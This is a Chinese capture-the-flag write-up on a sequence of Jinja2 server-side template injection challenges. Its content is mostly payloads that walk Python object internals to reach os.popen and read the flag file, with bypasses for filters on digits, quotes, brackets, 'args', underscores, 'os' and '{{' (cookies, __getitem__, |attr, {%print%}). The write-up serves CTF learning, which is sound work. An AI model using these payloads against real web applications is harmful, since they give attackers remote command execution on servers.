赞
踩
根据题目给的“名字就是考点”,
所以构建playload
- ?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
"".__class__
: 获取空字符串的类,即str
。.__bases__[0]
: 获取str
类的基类,即object
。object
是所有Python类的基类。.__subclasses__()
: 获取object
类所有的直接子类列表。[132]
: 选择列表中的第133个子类(因为索引是从0开始的)。这个特定的子类是不确定的,因为它取决于Python的实现和可能加载的其他模块。.__init__
: 获取该子类的初始化方法(如果存在的话)。.__globals__
: 获取定义__init__
方法的模块的全局变量字典。['popen']
: 从全局变量字典中获取名为popen
的引用。这通常指的是os.popen
函数,该函数用于执行一个命令并返回一个文件对象。根据题目"开始过滤"
可以试一试过滤,判断一下它过滤什么
测试数字
经过多次测试发现只有1和7没被过滤
绕过方法:用全角数字 ‘0’,‘1’,‘2’,‘3’,‘4’,‘5’,‘6’,‘7’,‘8’,‘9’
- ?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
这一关也是过滤
具体过程就不说了,它是过滤了单双引号
payload:
?name={{x.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
也是过滤
只不过它过滤了args ,所以GET传参就不可以了
改用cookie
- ?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
- Cookie传参:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
测试jinja2
模板注入
这时候我们造一个字典跑一下过滤
过程就不说了
一共过滤了四个字符''
、""
、[
、args
我们选择用popen
函数执行命令,其他五种方式同理。
先测测os
模块在哪
- {{x.__class__.__bases__.__getitem__(0).__subclasses__()}}
定位132
原始payload:
- {{''.__class__.__bases__.__getitem__(0).__subclasses__()[132].__init__.__globals__.popen('ls /').read()}}
__getitem__
绕过中括号[
过滤:
- {{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen('ls /').read()}}
request对象
绕过引号''
、""
过滤,cookie
或者values
绕过args
过滤
- {{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.cookies.x).read()}}
Cookie传参:x=ls /
然后
Cookie传参:x=tac /f*
就完成了
直接说结果,过滤了''
、""
、[
、args
和_
我们选择用popen
函数执行命令
定位
{{x.__class__.__bases__.__getitem__(0).__subclasses__()}}
还是132
原始payload
- {{(lipsum.__globals__).os.popen("tac /flag").read()}}
|attr()
+request对象
绕过对下划线_
过滤。
request对象
绕过引号''
、""
过滤,cookie
或者values
绕过args
过滤
- {{(lipsum|attr(request.cookies.x1)).os.popen(request.cookies.x2).read()}}
Cookie传参:x1= __globals__;x2=tac /flag
过滤了''
、""
、[
、args
、_
和os
- {{(lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read()}}
Cookie传参:x1= __globals__;x2=os;x3=tac /flag
过滤了''
、""
、[
、args
、_
、os
和{{
比上题多过滤了一个{{
,我们用{%print(......)%}
绕过
payload
{%print((lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read())%}
Cookie传参:x1= __globals__;x2=os;x3=tac /flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。